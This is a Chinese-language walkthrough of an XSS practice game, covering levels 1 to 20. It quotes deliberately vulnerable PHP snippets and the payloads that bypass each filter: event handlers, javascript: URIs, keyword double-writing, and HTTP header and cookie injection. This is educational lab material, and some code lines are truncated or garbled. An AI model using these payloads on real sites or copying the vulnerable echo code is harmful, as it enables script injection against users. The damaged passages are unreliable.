XSS练习小游戏
在线地址:http://test.xss.tv/
实验环境也可以本地搭建,不过需要php+mysql的环境
源码:https://files.cnblogs.com/files/Eleven-Liu/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F.zip
我选择使用本地环境搭建,这样好进行源码分析
level1
<?php ini_set("display_errors", 0); //不显示错误报告
$str = $_GET["name"]; echo "欢迎用户".$str."
"; ?>
没有进行任何过滤
level2
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "没有找到和".htmlspecialchars($str)."相关的结果.
".'.'"> '; ?>
使用get方式接受一个keyword参数,不过这里用到一个过滤函数htmlspecialchars(),
这个函数输出时把预定义的字符转换为 HTML 实体,等于<不能用
payload : " onmouseover=alert(1)>需要鼠标划过输入框 采用js事件
test"> 提前闭合input标签,使其不影响弹窗代码
level3
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "没有找到和".htmlspecialchars($str)."相关的结果.
".""; ?>
这里比前一提更严格,我们输入的时候<就会被转义,但是默认没有过滤单引号,所以采用事件来进行过滤
payload : ' onmouseover=alert(1)//
level4
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "没有找到和".htmlspecialchars($str)."相关的结果.
".'.'"> '; ?>
这里将 '<' 、 '>' 都替换成空,转换时区分大小写,然后在经过htmlspecialchars()函数,将一些预定义符号转换为html实体。
所以我们要做的就是在没有<>的情况下构造payload
payload : " onmouseover=alert(1)//
" onfocus=alert(1) autofocus="
Onfocus事件:定义的事件将在对象获得焦点时触发,这里指input标签获得焦点。
Autofocus属性:input标签的属性,当页面加载input标签,自动获得焦点。
焦点:这里指你的光标的位置,也就是说当你的光标出现在input文本框这里,将进行onfocus事件的发生。
level5
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace(" //
level7
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "没有找到和".htmlspecialchars($str)."相关的结果.
".'
.'">
';
?>
分析代码,不仅大小写不能用了,script,on,src ,data ,href 都直接转换成空,
但只是将其转换成空,不像前面的第六题,是加上下划线,那么我们可以尝试双写绕过
构造payload:">alert(1)
level8
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '
($str).'">
';
?>
<?php
echo '
友情链接 ';
?>
相比上一题中,此题" 被编码,但是尖括号<> ,单引号 ' ,% ,# ,& 符号没有被过滤,输出点在a标签内,href属性中,
属性中双引号被转换成HTML实体,无法截断属性,我们可以使用协议绕过javascript:alert,由于script关键字被过滤,
javascript会被替换成javasc_rpt,我们使用r来代替r ,HTML字符实体转换:https://www.qqxiuzi.cn/bianma/zifushiti.php
伪协议后面可以使用URL编码等进行编码。
payload:javascript:alert(1)
level9
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '
($str).'">
';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '
友情链接 ';
}
else
{
echo '
$str7.'">友情链接 ';
}
?>
与上题大同小异,不同的是多了自己自动检测url,如果发现没有带http:// 内容则会显示不合法,
payload:javascript:alert(1)//http://xxx.com //利用注释
javascript:alert('http://')
level10
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "没有找到和".htmlspecialchars($str)."相关的结果.
".'
.'" type="hidden">
';
?>
发现需要两个参数,一个是keyword,一个是t_sort,尖括号<>都被转换成空,还有三个hidden的隐藏输入框,
或许我们可以从隐藏的输入框下手
payload:keyword = test&t_sort="type="text" onclick = "alert(1)
keyword = test&t_sort="type="text" onmouseover="alert(1)
keyword = test&t_sort="type="text" onmouseover=alert`1`
level11
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER']; //告诉我们是从哪个服务器链接过来的
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "没有找到和".htmlspecialchars($str)."相关的结果.
".'
($str00).'" type="hidden">
$str33.'" type="hidden">
';
?>
s t r 11 = ">str11=
_SERVER['HTTP_REFERER']; 考察的是http头部的xss注入,开始抓包,burp修改相应的字段,构造http头部Referer的payload:
Referer: " onmouseover=alert(1) type="text"
Referer: " onclick="alert(1) type="text"
burp抓包,改Referer头,forward发包
level12
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "没有找到和".htmlspecialchars($str)."相关的结果.
".'
($str00).'" type="hidden">
$str33.'" type="hidden">
';
?>
User-Agent的http头部注入,burp抓包,构造http头部User-Agent的payload:
User-Agent: " onmouseover=alert(1) type="text"
User-Agent: " onclick="alert(1) type="text"
leel13
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "没有找到和".htmlspecialchars($str)."相关的结果.
".'
($str00).'" type="hidden">
$str33.'" type="hidden">
';
?>
PHP setcookie() 函数详情
在客户端保存一个名为password的Cookie,他的值为$password,
在程序中可以用$_COOKIE['password']来获取值,
time()+3600指的是该cookie的生存周期,秒为位,像这这里是指1个小时(60秒*60分钟)
$str33最初是由cookie过滤< > 而来,应该是cookie类型的xss注入,直接构造payload:
Cookie: " onmouseover=alert(1) type="text"
Cookie: " onclick="alert(1) type="text"
level14
center>这关成功后不会自动跳转。成功者点我进level15
该链接到的地址服务器崩了,就不写了
点击这里查看别人的
主要就是修改图片的exif信息来构造xss,修改信息的工具为exiftool
level15
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo 'htmlspecialchars($str).'">';
?>
这一关考的angular js的知识,稍微百度一下相关知识,发现ng-include有包含文件的意思,也就相当于php里面的include
注:ng-include里面引用其他页面还要再加单引号,即双引号里面再加单引号
如:
发现可以包含第一关的页面,构造payload:
src='level1.php?name=
'
src=level1.php?name=1'window.alert(1)
level16
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "".$str5." ";
?>
 表示空格。是javascript里面的转义字符
如果你用空格键产生空格,空格是不会累加的(只算1个)。要使用html实体表示才可累加
利用%0d、%0a(回车换行)实现xss攻击绕过
![]()
level17
?php
ini_set("display_errors", 0);
echo "
arg01和arg02 被htmlspecialchars过滤了,通过onmouseover='alert(1)'绕过。
arg01=a&arg02=b%20onmouseover=alert(1)
构造成功后:<embed src=xsf01.swf?a=b onmousedown=alert`1` width=100% heigth=100%>
leve18
<?php
ini_set("display_errors", 0);
echo "
和上题一样:arg01=a&arg02=b%20onmouseover=alert'1'
level19
先定位getURL函数
sIFR.menuItems.push(new ContextMenuItem("Follow link",function()
{
getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget);
}),new ContextMenuItem("Open link in new window",function()
{
getURL(sIFR.instance.primaryLink,"_blank");
}));
再追踪到sIFR的内容,省略了一些代码,关键代码如下:
if(_loc5_ && _root.version != sIFR.VERSION)
{
_loc4_ = sIFR.VERSION_WARNING.split("%s").join(_root.version);
}
得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL 只在内容为link时,打开,故定位以下函数:
function contentIsLink()
{
return this.content.indexOf("") == this.content.length - 4);
}
大体意思是要geturl得用a标签吧。
getURL
arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss%3C/a%3E
arg01=version&arg02=xss
level20
button.addEventListener(MouseEvent.MOUSE_OVER,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOver",null);
});
ExternalInterface.call则调用js方法(flash播放器是否位于提供外部接口的容器中)
ZeroClipboard.dispatch 复制剪切板的内容,中间由flash进行中转保证兼容主流浏览器,具体做法就是使这个透明的flash漂浮在复制按钮之上
arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(/xss/)//%26width%26height
arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(/xss/)//&width&height